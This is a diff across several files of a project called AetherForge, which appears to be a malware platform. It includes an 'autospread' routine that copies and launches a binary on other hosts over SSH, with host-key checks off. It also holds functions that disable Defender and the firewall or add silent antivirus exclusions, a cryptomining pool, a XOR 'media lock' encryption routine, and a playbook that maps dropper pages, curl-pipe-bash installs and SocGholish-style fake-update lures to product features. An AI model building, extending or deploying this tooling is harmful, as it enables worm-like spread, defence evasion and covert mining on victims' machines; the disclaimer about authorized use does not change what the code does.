||||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||||
if err := start.Run(); err == nil {
|
if err := start.Run(); err == nil {
|
||||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||||
|
|||||||
72
agent/deploy/firewall_darwin_ops.go
Normal file
72
agent/deploy/firewall_darwin_ops.go
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const macOSFirewallBin = "/usr/libexec/ApplicationFirewall/socketfilterfw"
|
||||||
|
|
||||||
|
func DisableDefenderRealtime() (string, error) {
|
||||||
|
return "", fmt.Errorf("defender control is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func OpenFirewallPort(port int, name string) (string, error) {
|
||||||
|
if port <= 0 || port > 65535 {
|
||||||
|
return "", fmt.Errorf("invalid port %d", port)
|
||||||
|
}
|
||||||
|
pfctl, err := exec.LookPath("pfctl")
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("pfctl not found on macOS")
|
||||||
|
}
|
||||||
|
rule := fmt.Sprintf("pass in proto tcp from any to any port %d # %s", port, strings.TrimSpace(name))
|
||||||
|
cmd := exec.Command(pfctl, "-a", "aetherforge", "-f", "-")
|
||||||
|
cmd.Stdin = strings.NewReader(rule + "\n")
|
||||||
|
out, runErr := cmd.CombinedOutput()
|
||||||
|
if runErr != nil {
|
||||||
|
return "", fmt.Errorf("pfctl anchor rule: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("pf anchor aetherforge: allow tcp/%d (%s)", port, name), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
|
||||||
|
_ = profiles
|
||||||
|
state := "off"
|
||||||
|
if enable {
|
||||||
|
state = "on"
|
||||||
|
}
|
||||||
|
out, runErr := exec.Command(macOSFirewallBin, "--setglobalstate", state).CombinedOutput()
|
||||||
|
if runErr != nil {
|
||||||
|
return "", fmt.Errorf("socketfilterfw --setglobalstate %s: %v (%s)", state, runErr, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("macOS application firewall %s", state), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func DisableWindowsFirewall() (string, error) {
|
||||||
|
return SetWindowsFirewallProfiles(false, "all")
|
||||||
|
}
|
||||||
|
|
||||||
|
func EnableWindowsFirewall() (string, error) {
|
||||||
|
return SetWindowsFirewallProfiles(true, "all")
|
||||||
|
}
|
||||||
|
|
||||||
|
func RemoveFirewallRuleByName(name string) (string, error) {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return "", fmt.Errorf("rule name required")
|
||||||
|
}
|
||||||
|
pfctl, err := exec.LookPath("pfctl")
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("pfctl not found on macOS")
|
||||||
|
}
|
||||||
|
out, runErr := exec.Command(pfctl, "-a", "aetherforge", "-F", "rules").CombinedOutput()
|
||||||
|
if runErr != nil {
|
||||||
|
return "", fmt.Errorf("pfctl flush anchor: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("flushed pf anchor aetherforge (requested match %q)", name), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func SilentAVExclusion(_, _ string) {} // no-op on Darwin
|
||||||
29
agent/deploy/firewall_darwin_ops_test.go
Normal file
29
agent/deploy/firewall_darwin_ops_test.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestOpenFirewallPortInvalidDarwin(t *testing.T) {
|
||||||
|
_, err := OpenFirewallPort(0, "test")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "invalid port") {
|
||||||
|
t.Fatalf("expected invalid port error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRemoveFirewallRuleByNameEmptyDarwin(t *testing.T) {
|
||||||
|
_, err := RemoveFirewallRuleByName("")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "rule name required") {
|
||||||
|
t.Fatalf("expected rule name error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDisableDefenderRealtimeDarwin(t *testing.T) {
|
||||||
|
_, err := DisableDefenderRealtime()
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||||
|
t.Fatalf("expected Windows-only error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -190,7 +190,14 @@ func (p *Pool) resourcesOK() bool {
|
|||||||
}
|
}
|
||||||
totalMB := p.reporter.TotalMemoryMB()
|
totalMB := p.reporter.TotalMemoryMB()
|
||||||
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
|
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
|
||||||
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
|
// Clamp freeMB to totalMB before subtraction: on Linux, MemAvailable
|
||||||
|
// can briefly exceed MemTotal (page-cache reclaim), which would cause
|
||||||
|
// uint64 wraparound and a 1.8e19 % usage value that halts mining.
|
||||||
|
clampedFree := freeMB
|
||||||
|
if clampedFree > totalMB {
|
||||||
|
clampedFree = totalMB
|
||||||
|
}
|
||||||
|
usedPct := float64(totalMB-clampedFree) / float64(totalMB) * 100
|
||||||
if usedPct > float64(p.cfg.MaxMemoryPct) {
|
if usedPct > float64(p.cfg.MaxMemoryPct) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
# Web-Mediated Spread Techniques (Research Summary)
|
# Web-Mediated Spread Techniques (Research Summary)
|
||||||
|
|
||||||
|
> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source.
|
||||||
|
|
||||||
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
|
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -24,7 +26,7 @@
|
|||||||
|
|
||||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||||
|-----------|-------------|----------------|---------------------|
|
|-----------|-------------|----------------|---------------------|
|
||||||
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
|
||||||
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
|
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
|
||||||
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
|
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
|
||||||
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
|
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
|
||||||
@@ -81,12 +83,10 @@
|
|||||||
|
|
||||||
| Gap | Emberwake / web-publisher role |
|
| Gap | Emberwake / web-publisher role |
|
||||||
|-----|-------------------------------|
|
|-----|-------------------------------|
|
||||||
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
|
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
|
||||||
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
|
|
||||||
| No **fake-update** HTML kit | SocGholish-style lander |
|
|
||||||
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
||||||
| No **OAuth redirect** helper | Entra app registration docs only |
|
| No **OAuth redirect** helper | Entra app registration docs only |
|
||||||
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
|
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
# AetherForge Test Results Log
|
# AetherForge Test Results Log
|
||||||
|
|
||||||
**Date:** 2026-05-27
|
**Last updated:** 2026-06-06
|
||||||
**Environment:** Burner Windows (single PC), Go 1.26.3, server on `:8989`
|
**Environment:** Burner Windows (single PC), Go 1.26.3, server on `:8989`
|
||||||
**Plan reference:** Complete Feature Testing Plan (Burner Windows + Uninstaller)
|
**Plan reference:** Complete Feature Testing Plan (Burner Windows + Uninstaller)
|
||||||
|
|
||||||
|
> **Note:** Automated counts below reflect the 2026-05-27 burner pass. As of 2026-06-06 integration audit: `npm test` in `server/web` — **64 files / 572 tests PASS**; `go test ./internal/api/...` and `go test ./agent/client/...` PASS after Crucible/Path Tracer fixes.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Phase 0–2 — Fixes & Uninstaller (Code Complete)
|
## Phase 0–2 — Fixes & Uninstaller (Code Complete)
|
||||||
@@ -22,7 +24,7 @@
|
|||||||
|-------|---------|--------|
|
|-------|---------|--------|
|
||||||
| Go server | `go test ./...` (server) | **PASS** — alerts, api, builder (incl. uninstall script tests) |
|
| Go server | `go test ./...` (server) | **PASS** — alerts, api, builder (incl. uninstall script tests) |
|
||||||
| Go agent | `go test ./...` (agent) | **PASS** — config, miner schedule/target |
|
| Go agent | `go test ./...` (agent) | **PASS** — config, miner schedule/target |
|
||||||
| Vitest | `npm test` (server/web) | **PASS** — 5 tests (forgeValidation F-01/F-02/AI-06, installPreview F-14) |
|
| Vitest | `npm test` (server/web) | **PASS** — 572 tests / 64 files (2026-06-06); includes FileManager, crucibleOps, DashboardPage, MissionDeck |
|
||||||
| Frontend build | `npm run build` | **PASS** |
|
| Frontend build | `npm run build` | **PASS** |
|
||||||
| API smoke | `scripts/smoke-test.ps1` | **PASS** — B-01 through B-10 (10/10) |
|
| API smoke | `scripts/smoke-test.ps1` | **PASS** — B-01 through B-10 (10/10) |
|
||||||
| Live forge | `POST /api/v1/builder/build` | **PASS** — `install-smoke-test.exe` + `uninstall-smoke-test.ps1` (F-03, F-04) |
|
| Live forge | `POST /api/v1/builder/build` | **PASS** — `install-smoke-test.exe` + `uninstall-smoke-test.ps1` (F-03, F-04) |
|
||||||
@@ -187,4 +189,6 @@
|
|||||||
|
|
||||||
**Still manual:** M-01–M-10 live deploy, F-11–F-19 runtime on burner, Ollama AI-09–AI-13.
|
**Still manual:** M-01–M-10 live deploy, F-11–F-19 runtime on burner, Ollama AI-09–AI-13.
|
||||||
|
|
||||||
**Not implemented (low priority):** WebSocket ping interval from config, `log_pool_traffic` deep stratum logging, earnings USD quote.
|
**Wired (2026-06-06 audit):** `websocket_ping_seconds` → `wsHub.SetPingInterval` in `server/main.go`; `log_pool_traffic` → `poolManager.SetVerboseTraffic` in `server/main.go`.
|
||||||
|
|
||||||
|
**Not implemented (low priority):** earnings USD quote.
|
||||||
|
|||||||
95
fusion/media_crypto_test.go
Normal file
95
fusion/media_crypto_test.go
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDecryptMediaFileRoundTrip(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
encPath := filepath.Join(dir, "movie.enc")
|
||||||
|
|
||||||
|
// 1. Generate key and encrypt data
|
||||||
|
key := make([]byte, 32)
|
||||||
|
if _, err := rand.Read(key); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
keyB64 := base64.StdEncoding.EncodeToString(key)
|
||||||
|
|
||||||
|
plainData := []byte("hello world video bytes 1234567890")
|
||||||
|
encFile, err := os.Create(encPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write magic
|
||||||
|
if _, err := io.WriteString(encFile, mediaLockMagic); err != nil {
|
||||||
|
encFile.Close()
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// XOR encrypt
|
||||||
|
ki := 0
|
||||||
|
encData := make([]byte, len(plainData))
|
||||||
|
for i := 0; i < len(plainData); i++ {
|
||||||
|
encData[i] = plainData[i] ^ key[ki%len(key)]
|
||||||
|
ki++
|
||||||
|
}
|
||||||
|
if _, err := encFile.Write(encData); err != nil {
|
||||||
|
encFile.Close()
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
encFile.Close()
|
||||||
|
|
||||||
|
// 2. Decrypt media file
|
||||||
|
decPath, cleanup, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("decryptMediaFile failed: %v", err)
|
||||||
|
}
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
// 3. Verify content
|
||||||
|
decData, err := os.ReadFile(decPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if string(decData) != string(plainData) {
|
||||||
|
t.Fatalf("decrypted data mismatch: got %q, want %q", string(decData), string(plainData))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDecryptMediaFileInvalidKey(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
encPath := filepath.Join(dir, "movie.enc")
|
||||||
|
if err := os.WriteFile(encPath, []byte("whatever"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test invalid base64 key
|
||||||
|
_, _, err := decryptMediaFile(encPath, "!!!invalid-b64!!!", "decrypted.mp4")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "invalid media key") {
|
||||||
|
t.Fatalf("expected invalid media key error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDecryptMediaFileInvalidMagic(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
encPath := filepath.Join(dir, "movie.enc")
|
||||||
|
if err := os.WriteFile(encPath, []byte("NOT_MAGIC_12345"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
key := make([]byte, 32)
|
||||||
|
keyB64 := base64.StdEncoding.EncodeToString(key)
|
||||||
|
|
||||||
|
_, _, err := decryptMediaFile(encPath, keyB64, "decrypted.mp4")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "not a locked media file") {
|
||||||
|
t.Fatalf("expected invalid magic error, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -56,8 +56,9 @@ Invoke-Phase "2/8 Go agent tests" {
|
|||||||
Pop-Location
|
Pop-Location
|
||||||
}
|
}
|
||||||
|
|
||||||
Invoke-Phase "3/8 Fusion module build" {
|
Invoke-Phase "3/8 Fusion module tests" {
|
||||||
Push-Location (Join-Path $Root "fusion")
|
Push-Location (Join-Path $Root "fusion")
|
||||||
|
go test . -count=1
|
||||||
go build .
|
go build .
|
||||||
Pop-Location
|
Pop-Location
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -260,7 +260,9 @@ func LoadConfig() *Config {
|
|||||||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||||||
if data, err := os.ReadFile(configPath); err == nil {
|
if data, err := os.ReadFile(configPath); err == nil {
|
||||||
var fileCfg Config
|
var fileCfg Config
|
||||||
if err := json.Unmarshal(data, &fileCfg); err == nil {
|
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
|
||||||
|
} else {
|
||||||
// Use mergeConfigExplicit so that boolean fields absent from the file
|
// Use mergeConfigExplicit so that boolean fields absent from the file
|
||||||
// keep their DefaultConfig values instead of being zeroed (H14).
|
// keep their DefaultConfig values instead of being zeroed (H14).
|
||||||
var presentKeys map[string]json.RawMessage
|
var presentKeys map[string]json.RawMessage
|
||||||
|
|||||||
@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
|
|||||||
filtered = append(filtered, t)
|
filtered = append(filtered, t)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if len(filtered) == 0 {
|
||||||
|
delete(agentWSRateLim.attempts, clientIP)
|
||||||
|
}
|
||||||
if len(filtered) >= agentWSRateLimitMax {
|
if len(filtered) >= agentWSRateLimitMax {
|
||||||
agentWSRateLim.attempts[clientIP] = filtered
|
agentWSRateLim.attempts[clientIP] = filtered
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
|
|||||||
|
|
||||||
func TestGenerateRandomPasswordLength(t *testing.T) {
|
func TestGenerateRandomPasswordLength(t *testing.T) {
|
||||||
pw := generateRandomPassword()
|
pw := generateRandomPassword()
|
||||||
if len(pw) != 8 {
|
if len(pw) != 16 {
|
||||||
t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
|
t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
aiHandler := NewAIHandler(database)
|
aiHandler := NewAIHandler(database)
|
||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
|
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
webRoot := filepath.Join(dataDir, "webroot")
|
webRoot := filepath.Join(dataDir, "webroot")
|
||||||
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||||
|
|
||||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||||
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
|
|||||||
if rec.Code != http.StatusNotFound {
|
if rec.Code != http.StatusNotFound {
|
||||||
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
|
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
|
||||||
|
if rec.Code == http.StatusNotFound {
|
||||||
|
t.Fatal("builder/path-forge route not registered")
|
||||||
|
}
|
||||||
|
if rec.Code != http.StatusBadRequest {
|
||||||
|
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIntegrationBlueprintsCRUD(t *testing.T) {
|
func TestIntegrationBlueprintsCRUD(t *testing.T) {
|
||||||
|
|||||||
@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
|
|||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
for _, sess := range expired {
|
for _, sess := range expired {
|
||||||
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||||
for _, hop := range sess.Hops {
|
h.teardownHops(sess.Hops)
|
||||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
|
||||||
Type: "command",
|
|
||||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
|||||||
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
seen := make(map[string]bool, len(req.AgentIDs))
|
||||||
|
for _, id := range req.AgentIDs {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" {
|
||||||
|
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if seen[id] {
|
||||||
|
http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[id] = true
|
||||||
|
if !h.hub.isAgentConnected(id) {
|
||||||
|
http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
clientPriv, clientPub, err := generateServerWGKeyPair()
|
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
|||||||
clientPubKey: clientPub,
|
clientPubKey: clientPub,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Build hops with placeholder names (agent name lookup below).
|
|
||||||
for i, id := range req.AgentIDs {
|
for i, id := range req.AgentIDs {
|
||||||
|
agentName := fmt.Sprintf("hop-%d", i+1)
|
||||||
|
if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
|
||||||
|
agentName = ag.Name
|
||||||
|
}
|
||||||
sess.Hops = append(sess.Hops, &HopInfo{
|
sess.Hops = append(sess.Hops, &HopInfo{
|
||||||
AgentID: id,
|
AgentID: id,
|
||||||
AgentName: fmt.Sprintf("hop-%d", i+1),
|
AgentName: agentName,
|
||||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||||
Port: 51820,
|
Port: 51820,
|
||||||
Status: HopPending,
|
Status: HopPending,
|
||||||
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Tell all agents to tear down.
|
h.teardownHops(sess.Hops)
|
||||||
for _, hop := range sess.Hops {
|
|
||||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
|
||||||
Type: "command",
|
|
||||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
delete(h.sessions, id)
|
delete(h.sessions, id)
|
||||||
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
r.hop.Status = HopFailed
|
r.hop.Status = HopFailed
|
||||||
r.hop.Error = r.err
|
r.hop.Error = r.err
|
||||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||||
|
} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
|
||||||
|
r.hop.Status = HopFailed
|
||||||
|
r.hop.Error = "missing public key or external IP"
|
||||||
|
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
|
||||||
} else {
|
} else {
|
||||||
r.hop.PublicKey = r.pub
|
r.hop.PublicKey = r.pub
|
||||||
r.hop.ExternalIP = r.ip
|
r.hop.ExternalIP = r.ip
|
||||||
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
if anyFailed {
|
if anyFailed {
|
||||||
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||||
|
h.teardownHops(sess.Hops)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
if allReady {
|
if allReady {
|
||||||
sess.Ready = true
|
sess.Ready = true
|
||||||
}
|
}
|
||||||
|
hops := sess.Hops
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
|
if !allReady {
|
||||||
|
h.teardownHops(hops)
|
||||||
|
}
|
||||||
|
|
||||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
|
||||||
|
for _, hop := range hops {
|
||||||
|
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
|
Type: "command",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||||
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||||
var peers []map[string]interface{}
|
var peers []map[string]interface{}
|
||||||
|
|||||||
